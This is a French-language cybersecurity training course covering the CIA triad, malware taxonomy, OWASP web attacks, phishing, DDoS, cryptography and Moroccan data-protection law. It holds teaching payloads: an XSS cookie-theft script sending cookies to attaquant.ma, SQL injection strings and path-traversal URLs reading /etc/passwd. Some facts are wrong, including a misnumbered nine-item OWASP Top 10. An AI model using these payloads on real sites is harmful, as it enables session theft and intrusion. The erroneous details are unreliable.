skilling.maSkill. Scale. Soar.
Partie 1 — Fondamentaux & Culture Sécurité CIA · McCumber · CVE
⏱ 18 min

Piliers de la cybersécurité

Triade CIA, Cube de McCumber (3 dimensions, 27 cellules), cycle de vie d'une vulnérabilité (CVE), surface d'attaque et actifs informationnels.

✓ Ce que vous allez apprendre
  • Triade CIA — Confidentialité, Intégrité, Disponibilité
  • Cube de McCumber — 3 dimensions, 27 cellules
  • Cycle de vie d'une vulnérabilité : découverte → CVE → patch
  • Surface d'attaque et vocabulaire fondamental SSI

1
La triade CIA
Confidentialité · Intégrité · Disponibilité
ℹ Définition

La sécurité informatique est l'ensemble des systèmes et moyens techniques pour protéger un SI contre toute violation, intrusion ou vol. Elle repose sur la triade CIA.

PilierDéfinitionMenace typeExemple
C — ConfidentialitéProtéger contre l'accès non autoriséInterception, fuite, espionnageChiffrer les e-mails d'entreprise
I — IntégritéProtéger contre la modification non autoriséeFalsification, injection SQLVérifier la somme SHA-256 d'un fichier
A — DisponibilitéProtéger contre le déni d'accèsDDoS, ransomware, pannesServeur accessible 99,9% du temps
⚠ CIA et les attaques

Un ransomware viole la disponibilité (fichiers inaccessibles) et la confidentialité (exfiltration). Une injection SQL viole l'intégrité et la confidentialité.


2
Le Cube de McCumber — 3 dimensions
Principes · États de l'information · Contre-mesures
textCube de McCumber — 3 dimensions
DIMENSION 1 — Principes CIA
  Confidentialité · Intégrité · Disponibilité

DIMENSION 2 — États de l'information
  Transmission  (DET — Data in Transit)
  Stockage      (DAR — Data At Rest)
  Traitement    (données en cours d'utilisation en RAM)

DIMENSION 3 — Contre-mesures
  Politiques et bonnes pratiques  (niveau administratif)
  Personnes                        (formation, sensibilisation)
  Technologie                      (antivirus, firewall, IDS...)

27 cellules = 3 x 3 x 3 — chaque cellule = combinaison à sécuriser
ÉtatDéfinitionRisque exempleContre-mesure
Transmission (DET)Données circulant sur le réseauSniffing Wireshark, MitMTLS/VPN
Stockage (DAR)Données conservées (HDD, BDD)Vol de disque, accès non autoriséAES-256, RBAC
TraitementDonnées en RAM par un programmeBuffer overflow, injection mémoireSandboxing, validation

3
Cycle de vie d'une vulnérabilité — CVE
Zero-day · CVE · NVD · CVSS · Fenêtre de risque
text6 étapes — de la découverte au patch
① Découverte — chercheur ou attaquant trouve la faille
   Zero-day : inconnue du vendeur (0 jour de correction)

② Signalement (Responsible Disclosure)
   Informer privément l'éditeur — délai standard : 90 jours

③ Attribution CVE
   Identifiant unique : CVE-2024-XXXXX
   Publié dans la NVD — score CVSS v3 attribué (0.0 → 10.0)

④ Développement du patch par l'éditeur

⑤ Fenêtre de risque
   Entre la publication CVE et l'application du patch :
   des milliers d'attaquants automatisent l'exploitation

⑥ Suivi — vérification, veille, mise à jour NVD
ℹ Log4Shell — CVE-2021-44228 (CVSS 10.0)

Découverte le 9 décembre 2021 dans Apache Log4j. Permet l'exécution de code à distance sur des millions de serveurs. Des systèmes ont été compromis dans les heures suivant la publication — exemple parfait de fenêtre de risque critique.


4
Surface d'attaque & actifs informationnels
Risque = Menace x Vulnérabilité x Impact · 4 types d'actifs
Type d'actifExemplesMenacesContre-mesures
DonnéesBDD clients, fichiers RHVol, fuite, ransomwareChiffrement, sauvegardes, DLP
ApplicationsSite web, API, logicielsInjection, XSS, CVEWAF, mises à jour
InfrastructureServeurs, réseaux, cloudDDoS, intrusionFirewall, IDS/IPS, patching
HumainEmployés, adminsPhishing, ingénierie socialeFormation, MFA, moindre privilège
Un ransomware chiffre tous les fichiers ET exfiltre les données. Quel(s) pilier(s) CIA sont violés ?
Dans le Cube de McCumber, un fichier stocké sur un serveur appartient à quel état ?
Partie 1 — Fondamentaux & Culture Sécurité Malwares · Virus 7 types · MitM · Rootkits
⏱ 20 min

Panorama des menaces

Taxonomie complète des logiciels malveillants (virus, vers, chevaux de Troie, rootkits, ransomware, spyware), les 7 types de virus, attaque MitM, et le vers Nimda — fondements théoriques du manuel M108.

✓ Ce que vous allez apprendre
  • Distinguer virus, ver, cheval de Troie, rootkit, ransomware et spyware
  • Analyser les 7 types de virus (infectant fichiers, macro, pirate navigateur, secteur démarrage, polymorphe, résident, multipartite)
  • Comprendre le mécanisme de l'attaque MitM (Homme du milieu)
  • Connaître le vers Nimda et ses 4 vecteurs de propagation

1
Taxonomie des logiciels malveillants
Virus · Ver · Cheval de Troie · Rootkit · Ransomware · Spyware · Botnet
TypeMécanismeBesoin d'hôteObjectif principalExemple célèbre
VirusS'attache à un programme légitime et se réplique à l'exécutionOui — fichier hôte requisCorruption de fichiers, propagationILOVEYOU (2000)
Ver (Worm)Se propage seul via le réseau sans programme hôteNon — autonomePropagation massive, DDoS, installation backdoorNimda, WannaCry
Cheval de TroieSe présente comme un logiciel légitime mais exécute des actions malveillantesNon — programme completPrise de contrôle, vol de donnéesZeus, Emotet
RootkitS'installe profondément dans l'OS pour cacher sa présence et obtenir un accès rootNon — s'intègre au systèmePersistance, accès administrateur invisibleSony BMG Rootkit
RansomwareChiffre les fichiers et exige une rançon pour la clé de déchiffrementNonExtorsion financièreWannaCry, LockBit
SpywareSurveille l'activité de l'utilisateur et envoie les données à l'attaquantNonEspionnage, vol de credentialsFinFisher, Pegasus
BotnetRéseau d'appareils infectés controlés à distance par un “botmaster”Non — distribuéDDoS, spam, minage crypto, attaques coordonnéesMirai, Emotet
ℹ Malware vs Virus — ne pas confondre

Malware (malicious software) est le terme générique qui englobe toutes les catégories ci-dessus. Virus est une sous-catégorie spécifique de malware. Dire « mon ordinateur a un virus » est communément accepté mais techniquement imprécis — il peut s'agir d'un cheval de Troie, un ransomware, un spyware, etc.


2
Les 7 types de virus informatiques
Infectant fichiers · Macro · Pirate navigateur · Secteur démarrage · Polymorphe · Résident · Multipartite
Type de virusMécanisme spécifiqueCibleTechnique d'évasion
Infectant les fichiersS'attache aux exécutables (.exe, .com) et s'active à l'exécutionFichiers programmesRend les fichiers hôtes opérationnels pour ne pas être détecté
Macro-virusSe loge dans les macros de documents Office (Word, Excel)Fichiers .doc, .xls, .pptSe propage via pièces jointes email
Pirate de navigateurModifie les paramètres du navigateur (page d'accueil, moteur de recherche)Navigateurs webS'installe via extensions ou téléchargements
Virus du secteur de démarrageInfecte le MBR (Master Boot Record) — s'exécute avant l'OSDisque dur, USBExécution avant le système d'exploitation = très difficile à détecter
Virus polymorpheModifie son propre code à chaque réplication (chiffrement + mutation)N'importe quel fichierSignature différente à chaque copie → contourne les antivirus basés sur signatures
Virus résidentSe loge dans la mémoire RAM de l'ordinateurMémoire systèmeIntercepte les appels système et infecte les fichiers ouverts
Virus multipartiteCombine plusieurs modes d'infection (secteur démarrage + fichiers)Secteur démarrage ET fichiers exécutablesSe propage par plusieurs vecteurs simultanément
textMécanisme d'un virus polymorphe — cycles de mutation
Infection 1 :  Corps du virus [ENCRYPTE avec clé A] + Décrypteur A
Infection 2 :  Corps du virus [ENCRYPTE avec clé B] + Décrypteur B
Infection 3 :  Corps du virus [ENCRYPTE avec clé C] + Décrypteur C

► Le corps viral est identique mais son apparence change à chaque copie
► Un antivirus à base de signatures ne peut pas matcher
► Nécessite une détection heuristique ou comportementale

3
Attaque MitM et Rootkit — mécanismes détaillés
Homme du milieu · Interception · Rootkit accès root · Persistance
textFonctionnement d'une attaque MitM (Homme du Milieu)
Scénario : Alice communique avec sa banque via HTTP (non chiffré)

  Alice ───[requête]───► PIRATE ►───[requête relayée]───► Banque
  Alice ◄──[réponse]─── PIRATE ◄───[réponse relayée]─── Banque

Le pirate :
  1. Se positionne physiquement ou logiquement sur le trafic
  2. Intercepte ET lit toutes les données (login, mot de passe)
  3. Peut modifier les données en transit (injection)
  4. Relayé les échanges — Alice et la banque ne savent rien

Techniques MitM courantes :
  ● ARP Poisoning : empóisonner la table ARP du réseau local
  ● DNS Spoofing  : rediriger vers un faux site
  ● SSL Stripping : dégrader HTTPS en HTTP
  ● Wi-Fi Evil Twin : faux point d'accès Wi-Fi

Contre-mesures :
  ● HTTPS/TLS obligatoire (chiffrement bout-en-bout)
  ● HSTS (HTTP Strict Transport Security)
  ● Certificats pinning
  ● VPN sur Wi-Fi public
textCycle d'infection d'un Rootkit
① L'attaquant héberge des scripts PHP infectés sur un site web
② La machine victime visite le site → téléchargement silencieux
③ Le malware obtient les privilèges (escalade de privilèges)
④ Installation profonde dans le système (kernel/OS)
⑤ Désactivation des services de sécurité (antivirus, IDS)
⑥ Transformation en zombie pour futures attaques

Actions d'un rootkit actif :
  ● Cache ses propres processus aux outils système (ps, top)
  ● Cache ses fichiers dans l'explorateur
  ● Vole mots de passe, clés, certificats
  ● Ouvre une backdoor pour accès distant permanent

4
Le ver Nimda — 4 vecteurs de propagation
W32/Nimda · Email · Web · Réseau local · Exécutable

Apparu le 18 septembre 2001, Nimda (« admin » à l'envers) est un ver extrêmement sophistiqué pour son époque. Il a causé des ralentissements massifs d'Internet et infecté des centaines de milliers d'ordinateurs en quelques heures. Il se distingue par sa capacité à se propager via 4 vecteurs simultanés.

VecteurMécanismeFichier concerné
1. EmailEnvoie une pièce jointe infectée (readme.exe) à tous les contacts Outlook de la victimereadme.exe
2. Fichiers exécutablesInfecte les fichiers .exe sur le système local et les partages réseaunimda.dll
3. Sites webModifie les pages web des serveurs IIS vulnérables pour infecter les visiteursreadme.eml
4. Réseau local (partages)Scanne le réseau local et se copie dans les dossiers partagés accessibles en écritureCopie directe
⚠ Persistance de Nimda

Nimda est conçu pour se renvoyer tous les 10 jours s'il n'est pas supprimé. Il peut également transformer les ordinateurs infectés en zombies pour lancer de futures attaques DDoS. La faille Unicode d'IIS (encodage des caractères pour contourner les filtres de sécurité) était l'un de ses vecteurs privilégiés sur les serveurs web.

Quelle est la différence fondamentale entre un ver et un virus ?
Un virus polymorphe contourne les antivirus classiques à base de signatures. Pourquoi ?
Partie 1 — Fondamentaux & Culture Sécurité OWASP Top 10 XSS · SQLi · Session Hijacking
⏱ 24 min

Attaques Web — OWASP Top 10

L'OWASP Top 10 (2021) détaillé — XSS (stockée, réfléchie, DOM) avec payloads, injection SQL, Session Hijacking (4 vecteurs), Cookie Poisoning, Directory Traversal et Default Password.

✓ Ce que vous allez apprendre
  • L'OWASP et son Top 10 2021 — les 9 catégories critiques
  • Les 3 types de XSS (stockée, réfléchie, DOM) avec exemples de code
  • L'injection SQL — mécanisme et prévention
  • Session Hijacking et Cookie Poisoning — 4 vecteurs d'exploitation
  • Directory Traversal et Default Password

1
OWASP Top 10 (2021) — les 9 catégories critiques
Open Web Application Security Project · Classement annuel · Risques critiques
ℹ Qu'est-ce que l'OWASP ?

L'Open Web Application Security Project (OWASP) est une fondation à but non lucratif dédiée à l'amélioration de la sécurité des logiciels. Son Top 10 est un document de référence mondial qui classe les 10 risques les plus critiques pour les applications web, mis à jour régulièrement sur la base de données collectées auprès de milliers d'organisations.

#Catégorie OWASP 2021Description rapideExemple d'attaque
A01Contrôles d'accès défaillantsUtilisateur accède à des ressources au-delà de ses autorisationsAccès admin sans authentification, IDOR
A02Défaillances cryptographiquesDonnées sensibles en clair, algorithmes faiblesMDP stockés en MD5, HTTP sans TLS
A03InjectionDonnées non validées interprétées comme du codeSQL Injection, XSS, LDAP Injection
A04Conception non sécuriséeFailles architecturales de conceptionAPI mal conçue, absence de modélisation des menaces
A05Composants vulnérables et obsolètesBibliothèques/frameworks non à jourLog4Shell (Log4j vulnérable)
A06Échecs d'identification et d'authentificationGestion de sessions, MDP faiblesCredential stuffing, brute force
A07Défaillances intégrité logicielleCode/données non protégés contre violations d'intégritéPipeline CI/CD compromis, mise à jour malveillante
A08Journalisation insuffisanteAttaques non détectées faute de logsViolation non détectée pendant des mois
A09SSRF (Server-Side Request Forgery)Le serveur est forcé à effectuer des requêtes vers des ressources internesAccès aux métadonnées cloud AWS/Azure

2
XSS — Cross-Site Scripting (3 types)
XSS Stockée · XSS Réfléchie · XSS DOM · Payloads · Contre-mesures
ℹ Définition XSS

Le Cross-Site Scripting (XSS) est une injection de scripts côté client dans des applications web vulnérables. Un code JavaScript malveillant est exécuté dans le navigateur de la victime, permettant le vol de session, la surveillance et la modification des actions utilisateur.

Temporaire — un seul clic
Type XSSMécanismePersistanceVecteur
XSS Stockée (Persistent)Script injecté et stocké dans la BDD — s'exécute à chaque visitePermanenteFormulaire commentaire, profil, message
XSS Réfléchie (Miroir)Script injecté dans l'URL, réfléchi par le serveur dans la réponseLien malveillant envoyé par email/phishing
XSS DOMScript injecté dans l'URL, modifie le DOM HTML côté client sans aller au serveurTemporaireParamètre URL traité par JavaScript
bashPayloads XSS — exemples d'injection (à titre pédagogique uniquement)
# XSS stockée : injecter dans un champ commentaire
# Payload de test (alert)
<script>alert('XSS Stockée OK')</script>

# Payload de vol de cookie
<script>document.location='http://attaquant.ma/steal?c='+document.cookie</script>

# XSS DOM : injecter via paramètre URL
# URL malveillante envoyée à la victime :
http://site-vulnerable.ma/page?default=<script>alert(document.cookie)</script>

# Contre-mesures :
# 1. Encoder les sorties HTML (htmlspecialchars en PHP)
# 2. Content Security Policy (CSP) headers
# 3. Sanitisation des entrées utilisateur

3
Injection SQL et Session Hijacking
SQLi · Session Token · Sniffing · Cookie Poisoning · 4 vecteurs
bashInjection SQL — mécanisme
# Requête SQL légitime (login)
SELECT * FROM users WHERE name='Alice' AND password='motdepasse';

# Injection dans le champ mot de passe :
# Valeur injectée : random' OR '1=1';--
# Requête résultante :
SELECT * FROM users WHERE name='Alice' AND password='random' OR '1=1';--';
# '1=1' est toujours VRAI → contournement de l'authentification
# -- commente le reste de la requête

# UNION injection (extraction de données)
' UNION SELECT username, password FROM users--
# Fusionne les résultats avec la table users
# → affiche tous les mots de passe !

# Contre-mesures :
# 1. Requêtes préparées (prepared statements)
# 2. ORM (Object-Relational Mapping)
# 3. Validation des entrées
# 4. Principe du moindre privilège SQL
Vecteur Session HijackingMécanismeOutil associé
Session SniffingCapture du token de session sur réseau non chiffréWireshark, Kismet
Token prévisibleL'ID de session suit un pattern devinable (incrémental, basé sur le temps)Analyse manuelle, Burp Suite
Attaque MitM (navigateur)Malware intercept les échanges entre navigateur et serveur à l'insu de l'utilisateurCheval de Troie bancaire
Cross-Site Scripting (XSS)Payload XSS volàe le cookie de session et l'envoie à l'attaquantScript malveillant injecté

4
Directory Traversal & Default Password
Path Traversal · ../ · Encodage Unicode · Mots de passe par défaut
bashDirectory Traversal — exemples d'URL d'attaque
# Attaque de traversée de répertoire (path traversal)
# URL normale :
http://site.ma/get-file?name=rapport.pdf

# URL malveillante (remonte l'arborescence) :
http://site.ma/get-file?name=../../../../etc/passwd

# Variante avec encodage Unicode (faille Nimda/IIS) :
http://site.ma/scripts/..%c0%af../winnt/system32/cmd.exe

# Le serveur décode %c0%af en '/' et accède au répertoire restreint

# Contre-mesures :
# 1. Valider les entrées après décodage (pas avant)
# 2. Utiliser des chemins absolus et listes blanches
# 3. Appliquer les patches serveur (Microsoft IIS patch)
# 4. Principe du moindre privilège sur les répertoires

Default Password : de nombreux appareils réseau (routeurs, caméras IP, switches) sont livrés avec des identifiants par défaut (admin/admin, admin/1234, admin/password). Un attaquant utilise des listes de mots de passe par défaut publiques pour accéder à ces équipements. La correction est simple : changer immédiatement les mots de passe par défaut à l'installation.

Un attaquant injecte <script>alert(document.cookie)</script> dans le champ « commentaire » d'un blog. Le script s'exécute pour tous les visiteurs du blog. Quel type de XSS est-ce ?
Dans une injection SQL, la charge utile ' OR '1=1';-- est injectée dans un champ mot de passe. Pourquoi permet-elle de contourner l'authentification ?
Partie 1 — Fondamentaux & Culture Sécurité Phishing · DDoS SYN Flood · Smurf · Botnet
⏱ 22 min

Ingénierie sociale & attaques réseau

Phishing (Email, Spear, Whaling, BEC, fausse facture), IP Spoofing, et les 5 types d'attaques DDoS (SYN Flood, Teardrop, Smurf, Botnet, Ping of Death) — mécanismes détaillés et contre-mesures.

✓ Ce que vous allez apprendre
  • Les 5 types de phishing et leur psychologie de manipulation
  • Mécanisme de l'IP Spoofing et du Spear Phishing
  • Les 5 types d'attaques DDoS : SYN Flood, Teardrop, Smurf, Botnet, Ping of Death
  • Prévenir les attaques d'ingénierie sociale

1
Phishing — 5 types et psychologie de la manipulation
Email Phishing · Spear Phishing · Whaling · BEC · Fausse facture
ℹ Qu'est-ce que l'hameçonnage (Phishing) ?

Le phishing est une technique d'ingénierie sociale qui utilise des émotions humaines (peur, urgence, curiosité, avidité) pour tromper les victimes et les inciter à divulguer des informations confidentielles ou à cliquer sur des liens malveillants. Il suffit d'une seule attaque réussie pour compromettre tout un réseau.

TypeCibleMécanismeExemple réel
Email PhishingGrand public (massif)Emails en masse imitant une marque connue (banque, PayPal, DHL)« Votre compte a été suspendu. Cliquez ici. »
Spear PhishingIndividu ou organisation spécifiqueMessage personnalisé utilisant des infos recueillies (OSINT) sur la cibleEmail du « DRH » avec le prénom de l'employé
WhalingHauts dirigeants (PDG, DG, CFO)Attaque ciblée sur les « grandes baleines » ayant accès aux fonds/décisionsEmail urgent du « PDG » demandant un virement bancaire immédiat
BEC (Business Email Compromise)Employés comptables/financiersUsurpation d'identité d'un dirigeant pour ordonner des virements frauduleuxFaux email du PDG : « vire 50 000 MAD sur ce compte d'urgence »
Fausse factureServices achats/comptabilitéFournisseur légitime usurpé — facture avec IBAN modifiéFacture d'un fournisseur connu avec un nouveau numéro de compte
textTechniques de détection d'un email de phishing
① Vérifier l'adresse email expéditeur (pas seulement le nom affiché)
   Exemple : "Service Attijariwafa Bank" 
   ● "attijarwfa" (faute) ≠ "attijariwafa"

② Survoler les liens SANS cliquer (affiche l'URL réelle dans la barre)
   Lien affiché : https://attijariwafabank.ma/connexion
   URL réelle   : https://attijarwfa-bank.ru/phishing

③ Repérer les émotions créées : urgence, peur, curiosité, récompense
   "Votre compte sera bloqué dans 24h si vous ne confirmez pas"

④ Vérifier le domaine expéditeur avec SPF/DKIM/DMARC
   Commande : dig TXT attijariwafabank.ma

2
Attaques DDoS — 5 types détaillés
SYN Flood · Teardrop · Smurf · Ping of Death · Botnet
ℹ DoS vs DDoS

Une attaque DoS (Denial of Service) provient d'une seule source — facile à bloquer par IP. Une attaque DDoS (Distributed DoS) provient de milliers de machines infectées (botnet) simultanément — impossible à bloquer par IP. L'objectif des deux est le même : rendre un service indisponible en saturant ses ressources.

textSYN Flood — exploitation de la poignée de main TCP
Poignée de main TCP normale (3-way handshake) :
  Client  ── SYN ──►  Serveur  (je veux me connecter)
  Client  ◄─ SYN/ACK ─  Serveur  (OK, je t'attends)
  Client  ── ACK ──►  Serveur  (connexion établie)

SYN Flood (attaque) :
  Attaquant ── SYN (IP falsifiée) ─►  Serveur
  Attaquant ◄─ SYN/ACK ────────  Serveur (ACK envoyé dans le vide)
  [Milliers de connexions demi-ouvertes saturent la table TCP]
  [Nouvelles connexions légitimes refusées — serveur indéxt;ponible]
Type DDoSMécanismeCouche OSISpécificité
SYN FloodMilliers de requêtes TCP SYN avec IP falsifiées — sature la table de connexionsCouche 4 (Transport)Ne nécessite pas beaucoup de bande passante
TeardropEnvoie des fragments de paquets IP qui se chevauchent — le système plante lors du réassemblageCouche 3 (Réseau)Exploite les bugs TCP/IP des anciens OS (Windows/Linux)
Smurf AttackEnvoie des pings ICMP en broadcast avec l'IP de la victime comme source — tous les hôtes répondent à la victimeCouche 3 (Réseau)Effet amplificateur : 1 paquet envoyé = N réponses reçues
Ping of DeathEnvoie un paquet ICMP surdimensionné (>65 535 octets) — provoque crash/freezeCouche 3 (Réseau)Exploite la limite de taille des paquets IPv4
Botnet DDoSMilliers de machines zombies envoient simultanément du trafic vers la cibleToutes couchesVolume impossible à absorber ; machines du monde entier
⚠ Fonctionnement d'une Smurf Attack — effet d'amplification

L'attaquant envoie 1 ping en broadcast avec l'IP de la victime comme adresse source. Tous les appareils du réseau reçoivent le ping et répondent à la victime. Si le réseau compte 500 machines, la victime reçoit 500 réponses pour chaque ping envoyé — facteur d'amplification x500 qui sature totalement sa bande passante.

Le PDG d'une entreprise maÅrocaine reçoit un email urgent de son « directeur financier » lui demandant de valider immédiatement un virement de 200 000 MAD. Quel type d'attaque de phishing est-ce ?
Dans une attaque SYN Flood, pourquoi le serveur ne peut-il pas se défendre en bloquant l'IP source ?
Partie 2 — Cryptographie & Protection des données Cryptographie symétrique AES · 3DES · Hachage · Obfuscation
⏱ 20 min

Cryptographie symétrique & hachage

AES-256 (modes ECB/CBC/CTR), Triple DES (3 phases), Blowfish, Twofish, FPE, hachage (SHA-256/MD5/collisions/bcrypt), obfuscation (7 techniques), outils GnuPG, AES Crypt, Encrypto.

✓ Ce que vous allez apprendre
  • Principe du chiffrement symétrique — même clé pour chiffrer et déchiffrer
  • AES-256 (modes ECB/CBC/CTR), Triple DES, Blowfish, Twofish, FPE
  • Hachage (SHA-256/MD5) — différence avec le chiffrement, bcrypt
  • Obfuscation du code source — 7 techniques
  • Outils : GnuPG, AES Crypt, Encrypto

1
Algorithmes symétriques
AES-256 · Modes ECB/CBC/CTR · Triple DES · Blowfish · Twofish · FPE
AlgorithmeTaille cléSécuritéUsage
AES128, 192 ou 256 bits★★★★★ — Standard mondialHTTPS, VPN, disques chiffrés, WPA2/WPA3
Triple DES (3DES)168 bits (3×56)★★★ — DépréciéSystèmes hérités, cartes bancaires
Blowfish32 à 448 bits★★★ — AncienRemplacé par AES
Twofish128, 192 ou 256 bits★★★★ — SécuriséAlternative open source à AES
FPEVariable★★★★ — Préserve le formatSystèmes bancaires, BDD
ℹ AES — modes de fonctionnement
  • ECB : chaque bloc chiffré indépendamment. Déconseillé — blocs identiques donnent des chiffrés identiques.
  • CBC : chaque bloc XORé avec le précédent. Plus sécurisé, nécessite un IV.
  • CTR : transforme AES en chiffrement par flot. Rapide, parallélisable, utilisé dans TLS 1.3.

2
Hachage — SHA-256, MD5, bcrypt
Unidirectionnel · Empreinte fixe · Collisions · Salage
⚠ Hachage vs Chiffrement

Le chiffrement est réversible (on peut déchiffrer). Le hachage est unidirectionnel — impossible de retrouver la donnée d'origine. Un hash = empreinte digitale de longueur fixe.

AlgorithmeSortieSécuritéUsage
MD5128 bits (32 hex)Cassé — collisions connuesVérification non-critique seulement
SHA-256256 bits (64 hex)Sécurisé — standard actuelIntégrité, signatures, Bitcoin
bcryptVariable (avec sel)Conçu pour les MDP (lent)Stockage des mots de passe
bashHachage en pratique
# SHA-256 d'un fichier
sha256sum fichier.iso

# Hacher une chaîne
echo -n "motdepasse" | sha256sum

# GnuPG : chiffrement symétrique AES-256
gpg --symmetric --cipher-algo AES256 fichier.txt
gpg --decrypt fichier.txt.gpg > fichier_dechiffre.txt

# AES Crypt
aescrypt -e -p "motdepasse_fort" rapport.pdf
aescrypt -d -p "motdepasse_fort" rapport.pdf.aes

3
Obfuscation du code source — 7 techniques
Protection PI · Illisible sans affecter l'exécution
#TechniqueMécanisme
1Formes alternativesTraduire en binaire, tables de consultation
2Changer le stockage des variablesRandomiser les adresses mémoire
3Randomiser les agrégatsRegrouper les données en tailles aléatoires
4Chiffrer les chaînesChiffrer les constantes sensibles (déchiffrées à l'exécution)
5Interrompre le fluxAjouter du code mort (dead code)
6Supprimer le débogageSupprimer numéros de ligne et noms de fichiers
7Obfusquer l'assembleurTechnique jump-in-the-middle — empoisonner le désassembleur
Pourquoi ne jamais stocker les mots de passe en MD5 ?
Partie 2 — Cryptographie & Protection des données Cryptographie asymétrique RSA · Diffie-Hellman · PKI · Signatures
⏱ 18 min

Cryptographie asymétrique & PKI

RSA, Diffie-Hellman, ECC, paire clé publique/privée, signatures numériques, PKI et certificats X.509.

✓ Ce que vous allez apprendre
  • Principe de la paire clé publique/privée
  • RSA, Diffie-Hellman, ECC — algorithmes et usages
  • Signatures numériques — authenticité, intégrité, non-répudiation
  • PKI et certificats X.509 — chaîne de confiance

1
Principe — clé publique / clé privée
Paire de clés · Chiffrement · Signature
ℹ Définition

Dans la cryptographie asymétrique, on utilise une paire de clés liées : clé publique (partageable) et clé privée (jamais partagée). Ce qui est chiffré avec l'une ne peut être déchiffré qu'avec l'autre.

textScénario — Alice envoie un message secret à Bob
① Bob génère sa paire de clés
   Clé publique  Bob_pub  →  partagée avec tout le monde
   Clé privée   Bob_priv →  gardée SECRETE par Bob

② Alice chiffre avec la clé PUBLIQUE de Bob
   Message + Bob_pub → [RSA] → Message chiffré

③ Bob déchiffre avec sa clé PRIVEE
   Message chiffré + Bob_priv → [RSA] → Message original

► Même si intercepte : sans Bob_priv, impossible de déchiffrer !
CritèreClé privéeClé publique
PropriétaireUniquement le propriétaire — jamais partagéeTout le monde — librement distribuée
Pour chiffrerChiffrer avec la clé publique du destinatairePermet au destinataire de déchiffrer
Pour signerSigner avec clé PRIVEE (prouve l'identité)Vérifier la signature

2
RSA, Diffie-Hellman & ECC
RSA 2048 · Échange DH · Courbes elliptiques
AlgorithmePrincipeTaille cléUsage
RSADifficulté de factoriser deux grands nombres premiers2048 ou 4096 bitsChiffrement, signatures, TLS
Diffie-HellmanÉchange de clés sur canal non sécurisé2048+ bitsÉtablir une clé symétrique commune sans la transmettre
ECCCourbes elliptiques — sécurité équivalente avec clés bien plus petites256 bits ≈ RSA 3072 bitsTLS 1.3, smartphones, IoT, Bitcoin
textDiffie-Hellman — analogie des couleurs
Couleur commune publique = JAUNE (connue de tous)

Alice secret : rouge  →  JAUNE+rouge = ORANGE  (envoyé à Bob)
Bob   secret : bleu   →  JAUNE+bleu  = VERT    (envoyé à Alice)

Alice : VERT   + rouge = MARRON  (clé commune)
Bob   : ORANGE + bleu  = MARRON  (même clé !)

Un écouteur voit JAUNE, ORANGE, VERT — ne peut pas calculer MARRON
► Secret partagé sans jamais l'avoir transmis !

3
Signatures numériques & PKI
Authenticité · Intégrité · Non-répudiation · X.509 · CA
textFonctionnement d'une signature numérique
SIGNER (Alice signe) :
  Document → [SHA-256] → Hash
  Hash + Clé PRIVEE Alice → [RSA] → Signature

VERIFIER (Bob vérifie) :
  Document → [SHA-256] → Hash calculé
  Signature + Clé PUBLIQUE Alice → [RSA] → Hash déchiffré

  Identiques  → Document authentique et intact
  Différents  → Document falsifié

Garanties :
  Authenticité     : seule Alice possède sa clé privée
  Intégrité        : toute modification change le hash
  Non-répudiation  : Alice ne peut pas nier avoir signé
Composant PKIRôleExemple
CASigne et garantit les certificatsDigiCert, Let's Encrypt, CNRST Maroc
Certificat X.509Clé publique + identité + signature CACertificat HTTPS d'un site web
CRLListe des certificats révoquésCertificat compromis ou volé
CSRDemande de signature envoyée à la CAGénéré avec OpenSSL
Alice veut envoyer un message chiffré à Bob. Avec quelle clé chiffre-t-elle ?
ECC 256 bits offre la même sécurité que RSA 3072 bits. Principal avantage d'ECC ?
Partie 2 — Cryptographie & Protection des données Cadre juridique marocain Loi 09-08 · Loi 50-20 · RGPD · RBAC
⏱ 20 min

Cadre juridique & conformité

Loi 09-08 et Loi 50-20 marocaines (CNDP, DNSSI), Copyright/BMDA, RGPD (7 principes), RBAC (4 étapes, DAC/MAC) et principe du moindre privilège — tout le cadre légal du manuel M108.

✓ Ce que vous allez apprendre
  • Loi 09-08 — protection des données personnelles au Maroc (CNDP, 7 obligations)
  • Loi 50-20 — cybersécurité et DNSSI
  • Copyright marocain — BMDA, droits moral vs patrimoniaux
  • RGPD — 7 principes fondamentaux
  • RBAC — 4 étapes, DAC/MAC, moindre privilège

1
Loi 09-08 — Protection des données personnelles
CNDP · 7 obligations · Données à caractère personnel
ℹ La CNDP

La Commission Nationale de contrôle de la protection des Données à caractère Personnel (CNDP) est instituée par la loi 09-08 du 18 février 2009. Elle veille au respect des règles auxquelles doivent se conformer les organismes publics et privés lors du traitement de données personnelles.

#Obligation (Loi 09-08)Description
1Respecter la finalitéDonnées collectées pour des finalités déterminées, explicites et légitimes
2ProportionnalitéNe collecter que les données strictement nécessaires (minimisation)
3Qualité des donnéesLes données doivent être exactes, complètes et à jour
4Durée de conservationNe pas conserver au-delà de la finalité initiale
5Droits des personnesDroit d'accès, de rectification, d'opposition et de suppression
6Sécurité et confidentialitéMesures techniques et organisationnelles pour protéger les données
7Notification à la CNDPDéclarer les traitements à la CNDP avant leur mise en œuvre
ℹ Loi 50-20 — Cybersécurité

La loi 05-20 relative à la cybersécurité met en place un cadre juridique pour la sécurité des systèmes d'information des administrations de l'État. Elle crée la Direction de la Sécurité des Systèmes d'Information (DNSSI) pour la coordination nationale de la cybersécurité.


2
Copyright marocain — BMDA
BMDA · Droit moral · Droits patrimoniaux · Durées
Type de droitDéfinitionDuréeCessible ?
Droit moralDroit à la paternité, au respect de l'intégrité de l'œuvrePerpétuel — ne s'éteint jamaisNon — inaliénable
Droits patrimoniauxDroits d'exploitation économique : reproduction, adaptationVie de l'auteur + 70 ansOui — transmissibles/cessibles
textÉvolution des durées de protection
Début    → 14 ans
1831     → 28 ans + renouvellement 28 ans
1976     → 75 ans OU vie + 50 ans
1998     → 120 ans OU vie + 70 ans
Maroc    → Vie de l'auteur + 70 ans
Après expiration → Domaine public (utilisation libre)

3
RGPD — 7 principes fondamentaux
Légalité · Finalité · Minimisation · Exactitude · Limitation · Intégrité · Responsabilité
#Principe RGPDSignification pratique
1Légalité, équité, transparenceTraitement fondé sur une base légale valide (consentement, contrat...)
2Limitation de la finalitéDonnées utilisées uniquement pour la finalité déclarée
3Minimisation des donnéesCollecter seulement les données strictement nécessaires
4ExactitudeMaintenir les données exactes, corriger ou supprimer les incorrectes
5Limitation du stockageNe pas conserver au-delà de la durée nécessaire
6Intégrité et confidentialitéProtéger contre accès non autorisé, perte ou destruction
7Responsabilité (Accountability)L'organisation doit prouver sa conformité avec documentation et audits

4
RBAC — Contrôle d'accès basé sur les rôles
4 étapes · DAC · MAC · Moindre privilège
ℹ Définition RBAC

